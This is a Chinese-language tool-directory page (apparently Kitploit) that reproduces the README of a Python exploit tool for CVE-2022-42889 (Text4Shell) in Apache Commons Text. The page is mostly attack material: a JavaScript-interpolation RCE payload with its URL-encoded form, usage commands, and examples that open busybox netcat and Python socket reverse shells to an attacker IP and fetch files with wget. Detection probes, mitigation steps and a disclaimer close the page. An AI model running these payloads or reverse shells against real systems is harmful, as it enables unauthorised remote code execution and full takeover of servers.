Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2022-42889 — CVE-2022-42889 (Text4Shell) 的 Python 利用工具,通过 Apache Commons Text 插值实现远程代码执行。支持生成反弹 shell、SSRF 和自定义命令执行。 | Kitploit
工具/GitHubGitHub/engranaabubakar/cve-2022-42889
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用学习与教育远程访问工具
GitHubengranaabubakar/cve-2022-42889

CVE-2022-42889

CVE-2022-42889 (Text4Shell) 的 Python 利用工具,通过 Apache Commons Text 插值实现远程代码执行。支持生成反弹 shell、SSRF 和自定义命令执行。

查看仓库
56个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

🚀 CVE-2022-42889 (Text4Shell) 利用工具

Python 3 License CVE

一个针对 CVE-2022-42889 (Text4Shell) 的 Python 利用工具,该漏洞是 Apache Commons Text 1.10.0 之前版本中的一个严重远程代码执行漏洞。

📋 目录

  • 描述
  • 漏洞详情
  • 受影响版本
  • 利用工具特性
  • 环境要求
  • 使用方法
  • 示例
  • 工作原理
  • 检测
  • 缓解措施
  • 参考资料
  • 免责声明

📝 描述

该工具针对 CVE-2022-42889 (Text4Shell) 漏洞,这是 Apache Commons Text 中的一个漏洞,允许通过经 StringLookup 插值器处理的特制输入字符串实现 远程代码执行(RCE)。

该漏洞的影响与 Log4Shell 类似,但影响的是不同的库。当用户控制的输入被传递给易受攻击的方法时,攻击者可以在目标系统上执行任意代码。

🎯 漏洞详情

  • CVE ID: CVE-2022-42889
  • CVSS 评分: 9.8(严重)
  • 攻击向量: 网络
  • 所需权限: 无
  • 用户交互: 无
  • 影响: 完全系统受损

易受攻击组件

Apache Commons Text 通过 StringLookup 接口提供字符串插值功能。interpolator 查找允许使用各种前缀对表达式进行评估,包括:

  • ${script:javascript:...} - 执行 JavaScript 代码(Nashorn 引擎)
  • ${url:UTF-8:...} - 获取 URL(SSRF)
  • ${dns:...} - DNS 查找

⚠️ 受影响版本

产品受影响版本已修复版本
Apache Commons Text< 1.10.01.10.0
Java< 15(对于 RCE)15+(Nashorn 禁用)

注意:Java 版本 ≥ 15 不会因 script 前缀(Nashorn 已禁用)受到 RCE 攻击,但仍可能因 url 和 dns 前缀受到 SSRF 攻击。

✨ 利用工具特性

  • ✅ 远程代码执行 (RCE) 通过 JavaScript 插值
  • ✅ 服务器端请求伪造 (SSRF) 通过 URL 插值
  • ✅ 恶意载荷的 URL 编码
  • ✅ 自定义命令执行
  • ✅ 反向 Shell 生成,支持 LHOST/LPORT
  • ✅ 错误处理 和响应显示

📦 环境要求

  • Python 3.6+
  • requests 库

安装依赖:

root@kitploit:~
pip install requests

🚀 使用方法

root@kitploit:~
python3 text4shell.py -t <目标IP> -p <端口> -c <命令> --lhost <你的IP> --lport <你的端口>

参数

💻 示例

示例 1:简单命令测试

root@kitploit:~
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "touch /tmp/test" --lhost 192.168.1.50 --lport 4444

示例 2:使用 netcat 的反向 Shell

root@kitploit:~
# 启动监听器
nc -lvnp 4444

# 运行利用工具
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "busybox nc 192.168.1.50 4444 -e bash" --lhost 192.168.1.50 --lport 4444

示例 3:Python 反向 Shell

root@kitploit:~
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.1.50\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" --lhost 192.168.1.50 --lport 4444

示例 4:SSRF 测试

root@kitploit:~
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "wget http://192.168.1.50:8000/test" --lhost 192.168.1.50 --lport 4444

🔧 工作原理

载荷构造

脚本使用 ${script:javascript:...} 语法创建一个恶意字符串:

root@kitploit:~
${script:javascript:java.lang.Runtime.getRuntime().exec('COMMAND')}

URL 编码

特殊字符被 URL 编码以确保正确传输:

root@kitploit:~
%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27COMMAND%27%29%7D

HTTP 请求

脚本发送一个 GET 请求到:

root@kitploit:~
http://TARGET:PORT/search?query=ENCODED_PAYLOAD

命令执行

如果目标易受攻击,它会评估 JavaScript 并执行命令。

🔍 检测

检查你的系统是否易受攻击:

手动测试

root@kitploit:~
curl -s "http://target:8080/search?query=\${script:javascript:7*7}"

如果响应中包含 49 而不是 ${script:javascript:7*7},则系统易受攻击。

版本检查

  • 检查 Apache Commons Text 版本的 CHANGELOG 或 README 文件
  • 在应用程序中查找 commons-text-*.jar 文件

🛡️ 缓解措施

升级 Apache Commons Text 至 1.10.0 或更高版本

root@kitploit:~
<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-text</artifactId>
    <version>1.10.0</version>
</dependency>

升级到 Java 15+(禁用 Nashorn JavaScript 引擎)

输入验证:对用户输入实施严格的验证

禁用插值:如果不需要,避免使用 StringSubstitutor.createInterpolator()

Web 应用防火墙(WAF):阻止包含 ${script:javascript:} 模式的请求

📚 参考资料

  • NVD - CVE-2022-42889
  • Apache Commons Text 安全
  • Tarlogic - Text4Shell 分析
  • CISA 警报

⚠️ 免责声明

此工具仅用于教育目的和授权的安全测试。未经允许对不拥有或未获得明确测试权限的系统使用此工具是违法的。作者对此工具的任何滥用或造成的损害不承担责任。

📄 许可证

本项目采用 MIT 许可证 - 详见 LICENSE 文件。

🤝 贡献

欢迎贡献、提交 issue 和功能请求!请查看 issues 页面。

祝黑客愉快!🚀

下载工具
参数描述是否必须
-t, --target目标 IP 地址✅ 是
-p, --port目标端口(默认:8080)❌ 否
-c, --command要执行的命令✅ 是
--lhost你的反向 Shell IP✅ 是
--lport你的反向 Shell 端口✅ 是